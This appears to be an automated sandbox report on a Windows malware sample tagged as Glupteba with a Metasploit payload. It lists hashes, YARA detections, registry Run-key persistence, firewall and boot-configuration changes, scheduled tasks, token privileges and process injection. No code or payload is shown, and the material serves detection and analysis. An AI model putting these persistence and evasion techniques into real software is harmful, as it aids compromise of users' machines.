Analysis
-
max time kernel
140s -
max time network
110s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
29-01-2023 18:33
Static task
static1
Behavioral task
behavioral1
Sample
23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe
Resource
win10v2004-20220901-en
General
-
Target
23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe
-
Size
3.9MB
-
MD5
de8c59730bb0557ef92f004b1fe2eecf
-
SHA1
334a2f8d11a7aa7309f31fe56555baf49ae7d1f9
-
SHA256
23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b
-
SHA512
47dcacfd705a02b24d32993aecc01f08c699c0363029885865ad4ae482b5103c363c4c3c84f41d7749ebe3ccb2c505ac73e30542c7ac8ef0de0ac6834fc851ee
-
SSDEEP
98304:8qnCPgJXetL7HPcsoTscYdniOFytgLG7kJnRVVt8tMV95ykE5YN:pYg2L7vcRfYliOYt77wnD38tMV95yk5N
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
-
Glupteba payload 7 IoCs
Processes:
resource yara_rule behavioral2/memory/4828-133-0x0000000001350000-0x0000000001B54000-memory.dmp family_glupteba behavioral2/memory/4828-134-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/4828-136-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/3156-138-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/3156-144-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/5092-146-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba behavioral2/memory/5092-152-0x0000000000400000-0x0000000000C1E000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 1664 created 4828 1664 svchost.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe PID 1664 created 5092 1664 svchost.exe csrss.exe PID 1664 created 5092 1664 svchost.exe csrss.exe PID 1664 created 5092 1664 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 5092 csrss.exe 1500 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RedFrost = "\"C:\\Windows\\rss\\csrss.exe\"" 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 812 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exedescription ioc process File opened for modification C:\Windows\rss 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe File created C:\Windows\rss\csrss.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe -
Program crash 57 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 4752 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 816 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 1032 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 3916 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 1408 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 1120 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 3540 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 2876 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4412 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 2252 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 2916 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4924 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 1488 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 1872 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4896 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 2940 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 428 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 764 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 1316 4828 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 3432 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 1140 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4360 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4236 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4248 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4264 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4288 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 3700 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4436 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4396 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4644 3156 WerFault.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 2764 5092 WerFault.exe csrss.exe 5044 5092 WerFault.exe csrss.exe 2420 5092 WerFault.exe csrss.exe 4976 5092 WerFault.exe csrss.exe 4356 5092 WerFault.exe csrss.exe 4020 5092 WerFault.exe csrss.exe 228 5092 WerFault.exe csrss.exe 5048 5092 WerFault.exe csrss.exe 2012 5092 WerFault.exe csrss.exe 4052 5092 WerFault.exe csrss.exe 1220 5092 WerFault.exe csrss.exe 4608 5092 WerFault.exe csrss.exe 1280 5092 WerFault.exe csrss.exe 4856 5092 WerFault.exe csrss.exe 1084 5092 WerFault.exe csrss.exe 1012 5092 WerFault.exe csrss.exe 2352 5092 WerFault.exe csrss.exe 672 5092 WerFault.exe csrss.exe 3124 5092 WerFault.exe csrss.exe 2564 5092 WerFault.exe csrss.exe 640 5092 WerFault.exe csrss.exe 4964 5092 WerFault.exe csrss.exe 2160 5092 WerFault.exe csrss.exe 4544 5092 WerFault.exe csrss.exe 1312 5092 WerFault.exe csrss.exe 4328 5092 WerFault.exe csrss.exe 3428 5092 WerFault.exe csrss.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3916 schtasks.exe 4016 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-791 = "SA Western Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-352 = "FLE Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-622 = "Korea Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.execsrss.exepid process 4828 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 4828 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 3156 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 3156 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe 5092 csrss.exe 5092 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 4828 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe Token: SeImpersonatePrivilege 4828 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe Token: SeTcbPrivilege 1664 svchost.exe Token: SeTcbPrivilege 1664 svchost.exe Token: SeBackupPrivilege 1664 svchost.exe Token: SeRestorePrivilege 1664 svchost.exe Token: SeBackupPrivilege 1664 svchost.exe Token: SeRestorePrivilege 1664 svchost.exe Token: SeBackupPrivilege 1664 svchost.exe Token: SeRestorePrivilege 1664 svchost.exe Token: SeBackupPrivilege 1664 svchost.exe Token: SeRestorePrivilege 1664 svchost.exe Token: SeSystemEnvironmentPrivilege 5092 csrss.exe Token: SeBackupPrivilege 1664 svchost.exe Token: SeRestorePrivilege 1664 svchost.exe Token: SeBackupPrivilege 1664 svchost.exe Token: SeRestorePrivilege 1664 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exe23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.execmd.execsrss.exedescription pid process target process PID 1664 wrote to memory of 3156 1664 svchost.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe PID 1664 wrote to memory of 3156 1664 svchost.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe PID 1664 wrote to memory of 3156 1664 svchost.exe 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe PID 3156 wrote to memory of 2152 3156 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe cmd.exe PID 3156 wrote to memory of 2152 3156 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe cmd.exe PID 2152 wrote to memory of 1228 2152 cmd.exe netsh.exe PID 2152 wrote to memory of 1228 2152 cmd.exe netsh.exe PID 3156 wrote to memory of 5092 3156 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe csrss.exe PID 3156 wrote to memory of 5092 3156 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe csrss.exe PID 3156 wrote to memory of 5092 3156 23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe csrss.exe PID 1664 wrote to memory of 4016 1664 svchost.exe schtasks.exe PID 1664 wrote to memory of 4016 1664 svchost.exe schtasks.exe PID 1664 wrote to memory of 3916 1664 svchost.exe schtasks.exe PID 1664 wrote to memory of 3916 1664 svchost.exe schtasks.exe PID 1664 wrote to memory of 1500 1664 svchost.exe patch.exe PID 1664 wrote to memory of 1500 1664 svchost.exe patch.exe PID 5092 wrote to memory of 812 5092 csrss.exe bcdedit.exe PID 5092 wrote to memory of 812 5092 csrss.exe bcdedit.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe"C:\Users\Admin\AppData\Local\Temp\23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 3282⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 3322⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 3322⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 6042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 7042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 6922⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 7362⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 6922⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 6922⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 8042⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 6802⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 7802⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 6402⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 7762⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 6682⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 7722⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 6202⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 8882⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 8562⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe"C:\Users\Admin\AppData\Local\Temp\23d614dbffa822a5ae066b1673fb7c5ea73de12cf01c6c4327bbb951ceb6240b.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 2923⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 3163⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 3003⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 5763⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 6683⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 6683⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 7043⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 7123⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 7323⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3156 -s 7283⤵
- Program crash
-
